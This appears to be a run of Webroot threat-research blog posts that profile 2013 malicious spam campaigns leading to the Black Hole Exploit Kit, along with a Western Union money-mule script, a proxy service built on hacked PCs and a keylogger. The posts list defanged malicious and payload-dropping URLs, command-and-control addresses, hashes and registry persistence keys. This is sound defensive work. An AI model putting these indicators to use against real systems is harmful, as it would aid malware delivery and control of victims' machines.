Name Server: **NS1.STREETCRY.NET** Name Server: **NS2.STREETCRY.NET**

Sample malicious payload dropping URL: *hxxp://neo-webnet.com/kill/reading_screen.php?zwp=1n:33:2v:1l:1h&ppqf=38&zrdlkj=2v:1i:2w:2w:1o:1l:1g:1n:1i:2w&pyo=1n:1d:1f:1d:1f:1d:1j:1k:1l*

We've already seen the same Name Servers in the following previously profiled malicious campaigns:

Spamvertised BBB 'Your Accreditation Terminated" themed emails lead to Black Hole Exploit Kit 'ADP Package Delivery Notification' themed emails lead to Black Hole Exploit Kit Fake 'CNN Breaking News Alerts' themed emails lead to Black Hole Exploit Kit

Sample screenshot of the "Terminated Wire Transfer Notification" themed spamvertised campaign:

Sample compromised URLs participating in the second "Terminated Wire Transfer Notification" campaign:
hxxp://forum.prb-fight.dp.ua/achinfo_2013_03_21.html
hxxp://rnckidsclothing.com/achinfo_2013_03_21.html
hxxp://mamnonduhangkenh1.edu.vn/achinfo_2013_03_21.html
hxxp://forum.dungeon-defenders.ru/achinfo_2013_03_21.html
hxxp://chongjisyj.com/achinfo_2013_03_21.html
hxxp://forums.iboxgames.org/achinfo_2013_03_21.html
hxxp://20h27.com/achinfo_2013_03_21.html

Sample client-side exploits serving URL: hxxp://dataprocessingservice-reports.com/kill/chosen_wishs_refuses-limits.php – 24.111.157.113; 58.26.233.175; 155.239.247.247 – Email: calnroam@yahoo.com
Name Server: **NS1.STREETCRY.NET** Name Server: **NS2.STREETCRY.NET**

Sample malicious payload dropping URL: hxxp://dataprocessingservice-reports.com/kill/chosen_wishs_refuses-limits.php?

zwp=1n:33:2v:1l:1h&ppqf=38&zrdlkj=2v:1i:2w:2w:1o:1l:1g:1n:1i:2w&pyo=1n:1d:1f:1d:1f:1d:1j:1k:1l

Responding to 58.26.233.175 are also the following malicious domains: *crackedserverz.com webpageparking.net* – **seen here** *picturesofdeath.net* – **seen here** , and **here**

Upon successful client-side exploitation, both of the campaigns drop **MD5: 00c7693681d111c0b74121ea513abe91** – detected by 5 out of 43 antivirus scanners as
Trojan.Necurs.97.

Once executed, the sample stores the following modified files on the affected hosts: *C:Documents and SettingsAdministratorApplication DataKB00635017.exe C:DOCUME~1ADMINI~1LOCALS~1TempexpF.tmp.bat C:Documents and SettingsAdministratorLocal SettingsTemporary Internet FilesContent.IE589OC5JKA2MB9vCAAAA[1].txt C:DOCUME~1ADMINI~1LOCALS~1Tempexp10.tmp.exe C:Documents and SettingsAdministratorApplication Data9CC207909CC20790 C:DOCUME~1ADMINI~1LOCALS~1Tempexp11.tmp.exe C:Documents and SettingsAdministratorApplication Data9CC207909CC20790 C:Documents and SettingsAdministratorApplication Data9CC207909CC20790.srv C:Documents and SettingsAdministratorLocal SettingsTemporary Internet FilesContent.IE589OC5JKA2MB9vCAAAA[1].txt C:Documents and SettingsAdministratorLocal SettingsTemporary Internet FilesContent.IE589OC5JKA2MB9vCAAAA[2].txt C:Documents and SettingsAdministratorApplication DataKB00635017.exe C:DOCUME~1ADMINI~1LOCALS~1Tempexp12.tmp.bat*

Creates the following Registry Keys: *HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCFBDC89D4 HKEY_CURRENT_USERSoftwareMicrosoftWindows NTS25BC2D7B REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareMicrosoftWindows NTS9CC20790 REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-*

500SoftwareMicrosoftWindows NTCBA6D3F36 REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareWinRAR

Sets the following Registry Values: *[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion Run] -> KB00121600.exe = “”%AppData%KB00121600.exe””*

Creates the following Mutexes: *LocalXMM00000418 LocalXMI00000418 LocalXMRFB119394 LocalXMM0000009C LocalXMI0000009C LocalXMM000000D8 LocalXMI000000D8 LocalXMM000001C4 LocalXMI000001C4*

It then phones back to the following C&C (command and control servers): *50.57.99.48:8080/AJtw/UCyqrDAA/Ud+asDAA/ 156.56.94.212/J9/vp//EGa+AAAAAA/2MB9vCAAAA/ 85.214.143.90/J9/vp//EGa+AAAAAA/2MB9vCAAAA/*

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

'ADP Payroll Invoice' Emails Lead to Malware | Webroot

facebook linkedin twitter

Over the past week, we intercepted a massive ‘**ADP** Payroll Invoice” themed malicious spam campaign, enticing users into executing a malicious file attachment. Once users execute the sample, it downloads additional pieces of malware on the affected host, compromising the integrity, and violating the confidentiality of the affected PC.

More details:

Sample screenshot of the spamvertised email:

Detection rate for the malicious attachment: MD5: 54e9a0495fbd5c952af7507d15ebab90 – detected by 24 out of 46 antivirus scanners as Trojan.Win32.FakeAV.qqdm

Once executed, the sample creates the following files on the affected hosts:
C:DOCUME~1<USER>~1LOCALS~1Temp109086.exe
C:DOCUME~1<USER>~1LOCALS~1Temp132059.exe
C:DOCUME~1<USER>~1LOCALS~1Temp132981.exe
C:DOCUME~1<USER>~1LOCALS~1Temp135214.exe
C:Documents and Settings<USER>Application DataOrihgyikegfa.exe C:WINDOWSsystem32cmd.exe” /c “C:DOCUME~1<USER>~1LOCALS~1Temptmp659bfaec.bat
C:Documents and Settings<USER>Application DataUpwegingo.exe C:WINDOWSsystem32cmd.exe” /c “C:DOCUME~1<USER>~1LOCALS~1Temptmp2f8a78b4.bat
C:Documents and Settings<USER>Application DataYcecnhiocty.exe C:WINDOWSsystem32cmd.exe” /c “C:DOCUME~1<USER>~1LOCALS~1Temptmp0ffe0049.bat
C:Documents and Settings<USER>Application DataInizlokezy.exe C:WINDOWSsystem32cmd.exe” /c “C:DOCUME~1<USER>~1LOCALS~1Temptmp97858d3e.bat

Deletes the following files: *C:Documents and Settings<USER>Application DataOrihgyikegfa.exe C:Documents and Settings<USER>Application DataUpwegingo.exe C:Documents and Settings<USER>Application DataYcecnhiocty.exe C:Documents and Settings<USER>Application DataInizlokezy.exe*

Creates the following Registry Key: *HKEY_CURRENT_USERSoftwareWinRAR*

And sets the following Registry Value: *[HKEY_CURRENT_USERSoftwareWinRAR] -> HWID = 7B 46 45 46 34 31 34 39 38 2D 39 32 38 39 2D 34 45 44 32 2D 41 36 31 46 2D 45 35 46 32 30 33 34 46 34 38 45 30 7D*

It also creates the following Mutex: *Global{CB561546-E774-D5EA-8F92-61FCBA8C42EE}*

It then phones back to **hxxp://www.rpc-ea.com:8080/forum/viewtopic.php** and downloads additional malware samples from the following locations: *hxxp://axelditter.de/w91qZ5.exe hxxp://infoshore.biz/cx5oMi.exe hxxp://www.makefacebook.com/LxB8.exe hxxp://www.qualitymachineinc.com/QabtyY.exe*

Initiating the following TCP connections: *213.186.47.54:8080 195.93.201.42:80 216.55.186.239:80 77.92.151.6:80 66.118.64.208:80*

Detection rates for the downloaded malware samples: *hxxp://infoshore.biz/cx5oMi.exe* – **MD5: 13eeca375585322c676812cf9e2e9789** – detected by 3 out of 46 antivirus scanners as Heuristic.LooksLike.Win32.Suspicious.B *hxxp://axelditter.de/w91qZ5.exe* – **MD5: 87c658970958bb5794354a91f8cc5a7d** – detected by 18 out of 46 antivirus scanners as PWS:Win32/Zbot.gen!AM

Upon execution, MD5: 87c658970958bb5794354a91f8cc5a7d creates the following processess on the affected hosts: *C:Documents and Settings<USER>Application DataAxujpiwoovaw.exe" C:WINDOWSsystem32cmd.exe" /c "C:DOCUME~1<USER>~1LOCALS~1Temptmp541b0e3b.bat"*

The following Registry Keys: *HKEY_CURRENT_USERSoftwareMicrosoftHior*

Sets the following Registry Values: *[HKEY_CURRENT_USERIdentities] -> Identity Login = 0x00098053 [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion Run] -> {3DFA1AE4-115C-AD7B-A6BA-A75086AF8442} = "”%AppData%Apasaviqpil.exe”" [HKEY_CURRENT_USERSoftwareMicrosoftHior] -> 21ae50c4 = "gQDD+nAQQMo="; 1gi1fji2 = "owCu+g=="; eg614da = 86 6A AE FA 97 7B 71 CA 0B 18 89 8E*

As well as the following Mutexes: *Global{CB561546-E774-D5EA-8F92-61FCBA8C42EE} Local{FA4803F7-084F-6AC9-A6BA-A75086AF8442}*

Upon execution [MD5: 13eeca375585322c676812cf9e2e9789] creates the following processess on the affected hosts: *C:Documents and Settings<USER>Application DataNaarqunayhi.exe”" (successful) C:WINDOWSsystem32cmd.exe” /c "C:DOCUME~1<USER>~1LOCALS~1Temptmp677a8160.bat”" (successful)*

The following Registry Keys: *HKEY_CURRENT_USERSoftwareMicrosoftIcuruq*

The following Registry Values: *[HKEY_CURRENT_USERIdentities] -> Identity Login = 0x00098053 [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion Run] -> {3DFA1AE4-115C-AD7B-A6BA-A75086AF8442} = "”%AppData%Cyviexylawq.exe”" [HKEY_CURRENT_USERSoftwareMicrosoftIcuruq] -> 1f7edeb4 = 73 78 91 BC 8C 7E 3C 48; 1ih8g5e6 = 51 78 FC BC; 880c122 = 3B 2C FC BC 73 0F 0E 48 FB 16 69 C9*

as well as the following Mutexes: *Global{D43DCFB8-3D8A-CA81-0508-B06D3016937F} Global{D43DCFB8-3D8A-CA81-7109-B06D4417937F} Global{D43DCFB8-3D8A-CA81-490A-B06D7C14937F} Global{D43DCFB8-3D8A-CA81-610A-B06D5414937F} Global{D43DCFB8-3D8A-CA81-8D0A-B06DB814937F} Global{D43DCFB8-3D8A-CA81-990A-*

B06DAC14937F} Global{D43DCFB8-3D8A-CA81-350B-
B06D0015937F} Global{D43DCFB8-3D8A-CA81-610B-
B06D5415937F} Global{D43DCFB8-3D8A-CA81-B90B-
B06D8C15937F} Global{D43DCFB8-3D8A-CA81-190C-
B06D2C12937F} Global{D43DCFB8-3D8A-CA81-4D0C-
B06D7812937F} Global{D43DCFB8-3D8A-CA81-650C-
B06D5012937F} Global{D43DCFB8-3D8A-CA81-C10D-
B06DF413937F} Global{D43DCFB8-3D8A-CA81-310E-
B06D0410937F} Global{D43DCFB8-3D8A-CA81-610E-
B06D5410937F} Global{D43DCFB8-3D8A-CA81-E50F-
B06DD011937F} Global{D43DCFB8-3D8A-CA81-E90B-
B06DDC15937F} Global{D43DCFB8-3D8A-CA81-DD0C-
B06DE812937F} Global{D43DCFB8-3D8A-CA81-A10E-
B06D9410937F} Global{D43DCFB8-3D8A-CA81-1D0E-
B06D2810937F} Global{EEE5022F-F01D-F059-8F92-
61FCBA8C42EE} Global{38E3341C-C62E-265F-8F92-
61FCBA8C42EE} Global{340FE32E-111C-2AB3-8F92-
61FCBA8C42EE} Global{340FE329-111B-2AB3-8F92-
61FCBA8C42EE} Global{5E370004-F236-408B-8F92-
61FCBA8C42EE} Global{D43DCFB8-3D8A-CA81-2D0D-
B06D1813937F} Global{CB561546-E774-D5EA-8F92-
61FCBA8C42EE} Local{55E9553D-A70F-4B55-8F92-
61FCBA8C42EE} Local{744F300D-C23F-6AF3-8F92-
61FCBA8C42EE} Local{55E9553C-A70E-4B55-8F92-
61FCBA8C42EE} MPSWabDataAccessMutex
MPSWABOlkStoreNotifyMutex MSIdent Logon
MidiMapper_modLongMessage_RefCnt MidiMapper_Configure

It then attempts multiple UDP connection attempts to the following IPs part of the botnet’s infrastructure: *109.162.153.126:25603 81.149.242.235:28768 88.241.148.26:19376 78.166.167.62:26509 88.232.36.188:11389 80.6.67.158:11016*

If you catch an ADP impersonating email in the wild, please forward it to **abuse@adp.com** to notify ADP of the attack.

Webroot SecureAnywhere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Malicious 'BBC Daily Email' Cyprus bailout themed emails lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising tens of thousands of malicious emails impersonating BBC News, in an attempt to trick users into thinking that someone has shared a Cyprus bailout themed news item with them. Once users click on any of the links found in the fake emails, they're automatically exposed to the client-side exploits served by the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the fake BBC News email:

Sample spamvertised compromised URLs: *hxxp://templarioscorp.net/cyprus_bail.html hxxp://web-bsc.ru/cyprus_bail.html http://www.photoshopbus.co.uk/cyprus_bail.html http://woorifiction.com/cyprus_bail.html*

Sample client-side exploits serving URL: *hxxp://crackedserverz.com/kill/larger_emergency.php* – 155.239.247.247; 109.74.61.59; 24.111.157.113; 58.26.233.175 – Email: tellecomvideo1@gmx.us

Sample malicious payload dropping URL: *hxxp://crackedserverz.com/kill/larger_emergency.php?pcxbri=1n:33:2v:1l:1h&cxqsgrdy=36&otxvafna=2v:1l:30:1n:1m:1m:30:1g:2v:1f&vtkwoiq=1n:1d:1f:1d:1f:1d:1j:1k:1l*

Upon successful client-side exploitation the campaign drops **MD5: 1d4aaaf4ae7bfdb0d9936cd71ea717b2** – 23 out of 45 antivirus scanners as Spyware/Win32.Zbot.

Once executed, the sample stores the following modified files on the affected hosts: *C:Documents and SettingsAdministratorApplication DataKB00635017.exe C:DOCUME~1ADMINI~1LOCALS~1TempexpF.tmp.bat*

C:Documents and SettingsAdministratorLocal SettingsTemporary Internet FilesContent.IE589OC5JKA2MB9vCAAAA[1].txt C:DOCUME~1ADMINI~1LOCALS~1Tempexp10.tmp.exe C:Documents and SettingsAdministratorApplication Data9CC207909CC20790 C:DOCUME~1ADMINI~1LOCALS~1Tempexp11.tmp.exe C:Documents and SettingsAdministratorApplication Data9CC207909CC20790 C:Documents and SettingsAdministratorLocal SettingsTemporary Internet FilesContent.IE589OC5JKA2MB9vCAAAA[1].txt C:Documents and SettingsAdministratorLocal SettingsTemporary Internet FilesContent.IE589OC5JKA2MB9vCAAAA[2].txt C:Documents and SettingsAdministratorApplication DataKB00635017.exe C:DOCUME~1ADMINI~1LOCALS~1Tempexp12.tmp.bat

Creates the following Mutexes: *LocalXMM000006D4 LocalXMM00000260 LocalXMQ426FB97F LocalXMI0000027C LocalXMM00000520 LocalXMM0000040C LocalXMM00000360*

The following Registry Keys: *REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareMicrosoftWindows NTS9CC20790 REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareMicrosoftWindows NTCBA6D3F36 REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareWinRAR*

It then phones back to the following C&C servers: *202.29.5.195/J9/vp//EGa+AAAAAA/2MB9vCAAAA/ 188.93.208.130/J9/vp//EGa+AAAAAA/2MB9vCAAAA/ 203.113.98.131/asp/intro.php*

We've seen (**202.29.5.195**) in the following previously profiled malicious campaign "**Cybercriminals resume spamvertising 'Re: Fwd: Wire Transfer' themed emails, serve client-side exploits and malware** ". We've also seen (**203.113.98.131**) in the following assessment "**Spamvertised 'US Airways reservation confirmation' themed emails serve exploits and malware** ".

Webroot SecureAnywhere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spotted: cybercriminals working on new Western Union based 'money mule management' script - Webroot Blog

facebook linkedin twitter

Risk-forwarding is an inseparable part of the cybercrime ecosystem.

Whether it's the use of **malware-infected hosts as stepping-stones**, the issuing of **License Agreements for your latest rootkit release** stating that it's meant to be tested against the customer's own systems — you wish — or the **selling of cheap access to verified PayPal accounts**, in an attempt to mitigate the "cash-out" risk by forwarding it to a more experienced cybercriminal, **the process of risk-forwarding** is visible across the entire ecosystem.

In this post I'll discuss a recently spotted Wetern Union based money mule management script. While the cybercriminals are currently developing this script, it is evidence of a cybercrime ecosystem trend focusing on the efficiency-centered standardization mentality of sophisticated cybercriminals.

More details:

Sample screenshot of the money mule management script, currently under development:

Basically, the Web based interface would allow a mule recruiter to easily manage the mules who will exclusively rely on Western Union for transferring the fraudulently obtained financial assets. The script will also automatically deduct the commission the mule will take for processing the fraudulent funds, and allow him to access a DIY interface, where he/she can submit all the **MTCNs (Money Transfer Control Number)** from all the transfers that they initiated.

*Knowledge tip: Want to get free access to raw money mule recruitment domains data throughout the last couple of years? Consider going through the "**Keeping Money Mule Recruiters on a Short Leash**" series.*

It’s worth pointing out that the cybercriminal behind this is currently soliciting feedback from fellow cybercriminals on invite-only cybercrime-friendly communities, and is basically experimenting with the true potential of such a DIY Web based service. In its current form, the script doesn’t have the “innovative” potential to help sophisticated cybercriminals boost their efficiency levels when it comes to recruiting and managing money mules.

We’ll continue monitoring its development, and post updates as soon as new developments take place.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Fake 'CNN Breaking News Alerts' themed emails lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Cybercriminals are currently mass mailing tens of thousands malicious ‘CNN Breaking News’ themed emails, in an attempt to trick users into clicking on the exploit-serving and malware-dropping links found within. Once users click on any of the links found in the bogus emails, they’re automatically exposed to the client-side exploits served by the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised email:

Sample compromised URLs used in the campaign: *hxxp://320315.ru/popeabuse.html hxxp://bigznakomstva.ru/popeabuse.html hxxp://cescasworld.com/popeabuse.html hxxp://c-s-x.ru/popeabuse.html hxxp://create-serv.ru/popeabuse.html hxxp://adobeart.ru/popeabuse.html hxxp://cescasworld.com/popeabuse.html hxxp://bloodygames.ru/popeabuse.html hxxp://blackstyle.l2uc.ru/popeabuse.html hxxp://bksxnations.com/popeabuse.html hxxp://bidlo.lv/popeabuse.html hxxp://create-serv.ru/popeabuse.html hxxp://c-s-x.ru/popeabuse.html hxxp://barrygloria.com/popeabuse.html*

Sample client-side exploits serving URL: *hxxp://webpageparking.net/kill/borrowing_feeding_gather-interesting.php*

Sample malicious payload dropping URL: *hxxp://webpageparking.net/kill/borrowing_feeding_gather-interesting.php?*

vxbzcc=1n:33:2v:1l:1h&tvwogqxl=3i&hkrjvnuc=1l:2v:1i:1i:2v:31:1n:1l:1o:1m&levo=1n:1d:1f:1d:1f:1d:1j:1k:1l

Malicious domain name reconnaissance: webpageparking.net – 109.74.61.59; 24.111.157.113; 58.26.233.175; 155.239.247.247 – Email: mtviclub@yahoo.com
Name Server: **NS1.STREETCRY.NET** Name Server: **NS2.STREETCRY.NET**

We've already profiled the same Name Servers in the following malicious campaigns:

Spamvertised BBB 'Your Accreditation Terminated" themed emails lead to Black Hole Exploit Kit 'ADP Package Delivery Notification' themed emails lead to Black Hole Exploit Kit

Responding to 24.111.157.113 are also the following malicious domains part of related campaigns: *secureaction120.com secureaction150.com fenvid.com heavygear.net cyberage-poker.net hotels-guru.net porftechasgorupd.ru gatovskiedelishki.ru sawlexmicroupdates.ru buxarsurf.net buyersusaremote.net cyberage-poker.net hotels-guru.net openhouseexpert.net picturesofdeath.net plussestotally.biz teenlocal.net*

Upon successful clienet-side exploitation, the campaign drops **MD5: 24d406ef41e9a4bc558e22bde0917cc5** – detected by 15 out of 45 antivirus scanners as Worm:Win32/Cridex.E

Once executed, the sample writes the following files on the affected hosts: *C:DOCUME~1<USER>~1LOCALS~1Tempexp1.tmp.bat C:DOCUME~1<USER>~1LOCALS~1Tempexp2.tmp.exe C:Documents and Settings<USER>Application DataB2CB1881B2CB1881 C:DOCUME~1<USER>~1LOCALS~1Tempexp3.tmp.bat*

Copies the following files: *Source: C:3e40e6903716e0a59a898242161c55c2ca100e539a665a8634e101346ce289be Destination: C:Documents and Settings<USER>Application DataKB00927107.exe Source: C:DOCUME~1<USER>~1LOCALS~1Tempexp2.tmp.exe*

Destination: C:Documents and Settings<USER>Application DataKB00927107.exe

Creates the following processes: *C:WINDOWSsystem32cmd.exe" /c "C:DOCUME~1<USER>~1LOCALS~1Tempexp1.tmp.bat"" C:Documents and Settings<USER>Application DataKB00927107.exe C:DOCUME~1<USER>~1LOCALS~1Tempexp2.tmp.exe C:WINDOWSsystem32cmd.exe" /c "C:DOCUME~1<USER>~1LOCALS~1Tempexp3.tmp.bat""*

The following Mutexes: *LocalXMM000007B4 LocalXMI000007B4 LocalXMM00000308 LocalXMI00000308 LocalXMS6C66A66E LocalXMM00000630 LocalXMI00000630 LocalXMQ6C66A66E LocalXMR6C66A66E LocalXMM000004E4 LocalXMI000004E4 LocalXMM00000660 LocalXMI00000660 LocalXMM000000CC LocalXMI000000CC*

It then phones back to **hxxp://203.171.234.53:8080/DPNilBA/ue1elBAAAA/tlSHAAAAA/** . The IP resolves to **lrdf.org.cn** (Email: 956250032@qq.com); **zgxjz.com** (Email: gmc@sohumail.net*)*

The command and control IP (203.171.234.53) use to respond to a Name Server in a previosly profiled malicious campaign – "**Malicious 'RE: Your Wire Transfer' themed emails serve client-side exploits and malware** ".

The following malicious Name Servers are known to have responded to the same IP (203.171.234.53): *ns4.forumilllionois.ru ns4.forumla.ru ns4.forum-la.ru ns4.forumny.ru ns4.forum-ny.ru ns4.faneroomk.ru ns4.familanar.ru ns4.filialkas.ru ns4.forummoskowciti.ru ns4.forumrogario.ru ns4.forumkinza.ru ns4.fuigadosi.ru ns4.forumbmwr.ru ns4.forummersedec.ru ns4.forumvvz.ru ns4.famagatra.ru ns4.fzukungda.ru ns4.ejjiipprr.ru ns4.finalions.ru ns4.eiiiioovvv.ru ns5.efjjdopkam.ru ns5.eipuonam.ru ns5.eminakotpr.ru ns4.emmmhhh.ru ns5.epionkalom.ru ns4.errriiiijjjj.ru ns5.ewinhdutik.ru ns5.ejiposhhgio.ru ns5.esigbsoahd.ru*

We believe that the C&C server is a compromised host based in China, as well as the actual emails, as the QQ ID appears to be a legitimate one.

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Hacked PCs as 'anonymization stepping-stones' service operates in the open since 2004 - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

On the majority of occasions, cybercriminals will take basic **OPSEC (Operational Security)** precautions when using the Internet, in an attempt to **make it harder for law enforcement** to keep track of their fraudulent activities. Over the years, these techniques have greatly evolved to include **hybrid online anonymity solutions** offered exclusively to cybercriminals internationally.

In this post, I'll profile a cybercrime-friendly service that's been offering hacked PCs to be converted into "anonymization stepping-stones" since 2004.

More details:

The service offers a self-serving DIY Web interface, allowing **potential cybercriminals looking for ways to hide their online activities** , to not only gain access to malware-infected hosts internationally, but to "chain" multiple hosts in an attempt to make it even harder to law enforcement to track them down. According to its description, 4000 new "Socks4/5 proxy servers" are added to the service on a daily basis. And in order to make it even easier for cybercriminals to use the service, it features a custom coded Proxy Management Software which greatly assists cybercriminals interacting with the service.

Sample screenshot of the DIY Web interface:

Sample screenshot of the service-branded Proxy Management Software:

The service allows cybercriminals to easily "autochange" the proxies in use, and automatically rotate them in an attempt to make their activities nearly impossible to trace.

Sample screenshot of a connected Socks 4/5 proxy in action:

Sample statistics of malware-infected hosts internationally, to be used as "anonymization stepping-stones":

Sample geolocated malware-infected hosts, courtesy of the cybercrime-friendly service:

The prices are as follows:

150 proxies per month – $25
300 proxies per month – $40
600 proxies per month – $50
900 proxies per month – $65
1500 proxies per month – $95

We'll continue monitoring the development of this service, and post updates as soon as new developments emerge.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercrime-friendly community branded HTTP/SMTP based keylogger spotted in the wild - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Utilizing basic site 'stickiness' and visitor retention practices, over the years, cybercrime-friendly communities have been vigorously competing to attract, satisfy, and retain their visitors. From exclusive services available only to community members, to DIY cybercrime-friendly tools, the practice is still a common way for the community administrators to boost the underground reputation of their forum.

However, there are certain communities that will use the underground reputation of their forum to boost their sales, by releasing private DIY cybercrime-friendly tools, and promoting them under the umbrella of the community brand.

In this post, I'll profile a HTTP/SMTP-based keylogger that's been commercially available to members of a cybercrime-friendly community since 2011.

More details:

Sample screenshot of the HTTP/SMTP based keylogger in action:

Second screenshot of the HTTP/SMTP based keylogger in action:

Third screenshot of the HTTP/SMTP based keylogger in action:

Sample HTTP/SMTP based keylogger log reading utility:

Some of the key features of the keylogger include the ability to automatically copy clipboard content in the log file, log infected PC information, write a separate log for each and every process, support for all languages, anti debugging capabilities, encrypted log files, uploading logs over HTTP or sending them to the cybercriminal behind the campaign over SMTP. What's also worth emphasizing on regarding this particular keylogger is that the DIY builder is coded for each and every customer individually in an attempt to prevent detection by the security community.

The price? 60 WMZ (WebMoney) or ~$70.00 US

Despite the OPSEC-aware coder behind the keylogger, its lack of efficiency-centered and sophisticated log parsing capabilities will definitely prevent it from becoming a major tool in the arsenal of the modern cybercriminal.

What would happen if Webroot SecureAnywhere somehow "misses" a keylogging variant? **Find out by watching this informative video** .

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

'ADP Package Delivery Notification' themed emails lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

A currently ongoing malicious email campaign is impersonating **ADP** in an attempt to trick its customers into thinking that they've received a 'Package Delivery Notification.' In reality though, once a user clicks on any of the links found in the malicious email, they're automatically exposed to the client-side exploits served by the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised email:

Sample compromised URLs used in the campaign: *hxxp://hrampanino.ru/securadp.html hxxp://gsmstyle.net/securadp.html hxxp://hello06.com/securadp.html hxxp://homou.org/securadp.html hxxp://gwcrc.or.kr/securadp.html hxxp://huabeipipe.com/securadp.html hxxp://hohyunworld.com/securadp.html*

Sample client-side exploits serving URL: *hxxp://picturesofdeath.net/kill/long_fills.php* – 24.111.157.113; 58.26.233.175; 155.239.247.247 – Email: boykintool@aol.com

Sample malicious payload dropping URL: *hxxp://picturesofdeath.net/kill/long_fills.php?rsm=1n:33:2v:1l:1h&pnp=37&tmivgdi=1g:1k:2v:1n:32:1o:1i:1i:32:31&fggthdar=1n:1d:1f:1d:1f:1d:1j:1k:1l*

Upon successful client-side exploitation the campaign drops **MD5: a372939c7134e95f39566dabaede4204** – detected by 5 out of 45 antivirus scanners as Trojan/Win32.Jorik.

Known to have responded to 24.111.157.113 are also the following client-side exploits serving URLs, part of related

campaigns: *hxxp://buyersusaremote.net/kill/towards_crashed_turns.php – Email: calnroam@yahoo.com hxxp://cyberage-poker.net/kill/loading_requested_profile.php hxxp://teenlocal.net/kill/force-vision.php*

Known to have responded to 24.111.157.113; 58.26.233.175; 155.239.247.247 are also the following malicious domains: **secureaction120.com** – Email: markovochn@yandex.ru – the same email has **already been profiled** **secureaction150.com** – Email: markovochn@yandex.ru
fenvid.com – 58.26.233.175; 155.239.247.247 – Email: carlini@fenvid.com
hotels-guru.net – Email: lendsnak@hotmail.com
openhouseexpert.net – 58.26.233.175; 155.239.247.247
gatovskiedelishki.ru – 77.241.198.65; 80.241.211.26; 83.255.90.5; 103.14.8.20; 190.30.219.85
advarcheskiedela.ru porftechasgorupd.ru sawlexmicroupdates.ru arhangelpetrov.ru

Name servers part of the infrastructure of these campaigns: Name Server: **NS1.STREETCRY.NET** – 93.186.171.133 – Email: webclipradio@aol.com – email has **already been profiled** Name Server: **NS2.STREETCRY.NET** – 15.214.13.118
Name Server: **ns1.ampesosac.net** – Email: calnroam@yahoo.com
Name Server: **ns1.miss-erika.net** – Email: lemonwire@iname.com
Name Server: **NS1.LETSGOFIT.NET** – 94.76.243.95 – Email: weryrebel@live.com – email has **already been profiled** Name Server: **NS1.BLACKRAGNAROK.NET** – 209.140.18.37 – Email: onetoo@gmx.com – **email has** already **been profiled** Name Server: **NS2.BLACKRAGNAROK.NET** – 6.20.13.25
Name Server: **NS1.LINGUAAPE.NET** – 209.140.18.37 – Email: outfor23@live.com
Name Server: **NS2.LINGUAAPE.NET** – 173.1.12.57
Name Server: **ns1.english-professional.net** – 94.76.243.95
Name Server: **ns2.english-professional.net** – 1.185.151.43
Name Server: **NS1.E-ELEVES.NET** – 199.59.166.108
Name Server: **NS2.E-ELEVES.NET** – 199.59.166.108
Name Server: **NS2.LETSGOFIT.NET** – 11.3.51.158

Name Server: **ns1.basicprinters.net** Name Server: **ns1.torpedosgratiz.net**

Once executed, the sample creates the following Registry Keys: *[HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCFBDC89D4 [HKEY_CURRENT_USERSoftwareMicrosoftWindows NTS25BC2D7B*

